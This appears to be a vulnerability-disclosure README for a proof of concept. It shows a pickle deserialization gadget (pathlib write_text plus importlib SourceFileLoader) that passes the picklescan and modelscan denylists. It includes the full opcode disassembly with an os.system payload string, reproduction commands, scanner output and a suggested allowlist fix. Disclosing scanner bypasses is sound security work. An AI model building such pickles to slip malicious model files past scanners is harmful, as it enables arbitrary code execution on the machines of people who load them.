EnigmaConsultant's picture
Upload README.md with huggingface_hub
41365ad verified
|
Raw
History Blame Contribute Delete
8.67 kB
# NEW pickle RCE gadget: `pathlib.Path.write_text` + `importlib.machinery.SourceFileLoader.load_module`
**Category:** Pickle deserialization RCE / model-scanner denylist bypass (new, unlisted GLOBAL gadget)
**Runtime verified:** CPython **3.13.12**; via `pickle.load` and `joblib.load` (joblib **1.5.2**)
**Scanners bypassed:** picklescan **1.0.5**, modelscan **0.8.8** (both report the file as not-infected / no-issues)
## Summary
picklescan (1.0.5) and modelscan (0.8.8) are **opcode-denylist scanners**: they walk the
`GLOBAL` / `STACK_GLOBAL (module, name)` pairs in a pickle stream and match them against a
hardcoded list of unsafe callables. This gadget is **self-contained** and references only two
callables that appear in **neither** denylist:
1. **`pathlib.Path.write_text`** β€” the pickle uses it to write its own payload `.py` module to
disk. The payload source (containing `import os` / `os.system(...)`) rides through the stream
as a **SHORT_BINUNICODE string constant** that becomes the file's content β€” it is never a
`GLOBAL` opcode, so no scanner ever sees `os` / `system`.
2. **`importlib.machinery.SourceFileLoader.load_module`** β€” imports + executes that file on
disk, reaching arbitrary code execution.
Both callables are **always-present stdlib** (no optional package dependency). An equivalent
variant is `importlib.util.spec_from_file_location` + `module_from_spec` + `exec_module`.
## Root cause (verified by dumping both denylists)
Neither `pathlib` nor `importlib.machinery` (nor `SourceFileLoader`) is present in either
scanner's unsafe-global list. Dumped live from the installed packages:
```
# picklescan 1.0.5 β€” picklescan.scanner._unsafe_globals (dict, keyed by module)
picklescan _unsafe_globals type: dict
pathlib present: False
importlib present: False
SourceFileLoader present: False
modules listed: ['__builtin__', '_aix_support', '_io', '_operator', '_osx_support', '_pickle',
'_pyrepl', 'aiohttp', 'asyncio', 'bdb', 'builtins', 'cProfile', 'cloudpickle.cloudpickle',
'code', 'commands', 'ctypes', 'distutils.file_util', 'doctest', 'ensurepip', 'functools',
'httplib', 'idlelib.*', 'imaplib', 'lib2to3.*', 'logging', 'nt', 'numpy.f2py', 'operator',
'os', 'pdb', 'pickle', 'pip', 'pkgutil', 'posix', 'profile', 'pty', 'pydoc',
'requests.api', 'runpy', 'shutil', 'socket', 'ssl', 'subprocess', 'sys', 'test', 'timeit',
'torch.*', 'trace', 'types', 'urllib.request', 'uuid', 'venv', 'webbrowser']
# modelscan 0.8.8 β€” modelscan.settings.DEFAULT_SETTINGS (CRITICAL/HIGH/MEDIUM/LOW)
modelscan pathlib present: False
modelscan importlib present: False
modelscan SourceFileLoader present: False
```
Because the denylist only enumerates `os`, `posix`, `subprocess`, `runpy`, `builtins`, etc.,
a file-write-then-source-load chain through `pathlib` + `importlib.machinery` slips past both.
## Opcode flow (protocol 4, `STACK_GLOBAL` with dotted qualnames)
```
write_text = STACK_GLOBAL pathlib "Path.write_text"
pathobj = REDUCE(STACK_GLOBAL pathlib "Path", (PYPATH,))
_ = REDUCE(write_text, (pathobj, PAYLOAD_SRC)); POP # writes _evilmod.py
load_module= STACK_GLOBAL importlib.machinery "SourceFileLoader.load_module"
loader = REDUCE(STACK_GLOBAL importlib.machinery "SourceFileLoader", ("evilmod", PYPATH))
REDUCE(load_module, (loader,)) # -> imports+executes the written module -> RCE
STOP
```
`Unpickler.find_class` resolves the dotted qualnames (`Path.write_text`,
`SourceFileLoader.load_module`) via attribute traversal, yielding the **unbound functions**,
which `REDUCE` then invokes with an explicit `self` (the `Path` / `SourceFileLoader` instance).
Verbatim `pickletools.dis` of the 555-byte `evil.pkl`:
```
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'pathlib'
11: \x8c SHORT_BINUNICODE 'Path.write_text'
28: \x93 STACK_GLOBAL
29: \x8c SHORT_BINUNICODE 'pathlib'
38: \x8c SHORT_BINUNICODE 'Path'
44: \x93 STACK_GLOBAL
45: \x8c SHORT_BINUNICODE '/.../_evilmod.py'
118: \x85 TUPLE1
119: R REDUCE
120: \x8c SHORT_BINUNICODE "import os\nos.system('id > .../PWNED_sourcefileloader ...')\n"
373: \x86 TUPLE2
374: R REDUCE
375: 0 POP
376: \x8c SHORT_BINUNICODE 'importlib.machinery'
397: \x8c SHORT_BINUNICODE 'SourceFileLoader.load_module'
427: \x93 STACK_GLOBAL
428: \x8c SHORT_BINUNICODE 'importlib.machinery'
449: \x8c SHORT_BINUNICODE 'SourceFileLoader'
467: \x93 STACK_GLOBAL
468: \x8c SHORT_BINUNICODE 'evilmod'
477: \x8c SHORT_BINUNICODE '/.../_evilmod.py'
550: \x86 TUPLE2
551: R REDUCE
552: \x85 TUPLE1
553: R REDUCE
554: . STOP
highest protocol among opcodes = 4
```
## Reproduce
```
python3 gen_poc.py # builds evil.pkl / evil.joblib + control_os.pkl
python3 -c "import pickle; pickle.load(open('evil.pkl','rb'))" # -> writes PWNED_sourcefileloader
scan_verify/bin/python -m picklescan -p evil.pkl # picklescan 1.0.5, py3.13 -> Infected 0 (CLEAN)
scan312/bin/modelscan -p evil.pkl # modelscan 0.8.8, py3.12 -> "No issues found!"
```
`gen_poc.py`, `evil.pkl` (555 bytes), `evil.joblib`, `control_os.pkl`, and `_evilmod.py`
(the payload module written at unpickle time) are included in this repo.
## Verified captured evidence (verbatim)
### EXECUTE β€” `pickle.load` on CPython 3.13.12, and `joblib.load` 1.5.2 (identical marker)
Contents of `PWNED_sourcefileloader` after each load:
```
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
importlib_sourcefileloader_gadget_executed
```
### PICKLESCAN 1.0.5 (py3.13) β€” `evil.pkl` β†’ CLEAN
```
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 4
Dangerous globals: 0
```
(exit=0 β€” CLEAN; "suspicious" is non-blocking, the verdict is *not infected*.)
### MODELSCAN 0.8.8 (py3.12) β€” `evil.pkl` AND `evil.joblib` β†’ CLEAN
```
Scanning evil.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! πŸŽ‰
```
(exit=0 for both files.)
### NEGATIVE CONTROL β€” `control_os.pkl` (`posix.system` reduce) β†’ both scanners flag it
picklescan:
```
control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
```
modelscan:
```
Total Issues: 1
- CRITICAL: 1
Unsafe operator found:
- Description: Use of unsafe operator 'system' from module 'posix'
```
Both scanners correctly flag the control (exit=1 for modelscan), proving the detection
pipeline works and that the clean verdict on `evil.pkl` is a genuine bypass, not a broken run.
## Impact
A malicious `.pkl` / `.joblib` (or any pickle-backed model artifact β€” e.g. joblib/sklearn,
numpy `allow_pickle`, torch legacy) that passes a picklescan- or modelscan-based CI/registry
gate as clean, yet achieves arbitrary command execution the moment it is deserialized. Both
scanners are widely deployed as the "safety check" in front of model hubs and MLOps pipelines,
so the bypass defeats the primary automated defense for untrusted model files.
## Suggested fix
Denylists cannot enumerate every dangerous stdlib callable. `pathlib.Path.write_text` /
`write_bytes`, `importlib.machinery.SourceFileLoader` / `SourcelessFileLoader`,
`importlib.util.spec_from_file_location` / `module_from_spec` / `exec_module`, and
`importlib.import_module` are all file-write / import primitives that must be treated as
unsafe. More robustly, prefer an **allowlist** of known-safe globals (as
`weights_only`-style loading does) rather than a denylist.
## Dedup / prior-art note
- Distinct from classic `os.system` / `posix.system` / `subprocess` / `builtins.eval` /
`builtins.exec` reduces β€” those modules **are** in both denylists and are flagged (see the
negative control).
- Distinct from prior `nt`/`runpy`/`pydoc`/`webbrowser` gadgets already in picklescan's list.
- Distinct from other gadgets in sibling PoCs (logging.config, typing.get_type_hints,
marshal+FunctionType, doctest, codeop, dataclasses, code.InteractiveInterpreter,
pydoc.pipepager, spawnv, getattr_static): those use different unlisted callables. This one is
the `pathlib.write_text` + `importlib.machinery.SourceFileLoader.load_module`
**write-then-source-load** chain, in which the code-exec primitive (`os.system`) never
appears as a GLOBAL at all β€” it is carried purely as a string constant.
- No CVE currently assigned to `pathlib`/`importlib.machinery` as a picklescan/modelscan bypass
gadget as of the test date (2026-07-16).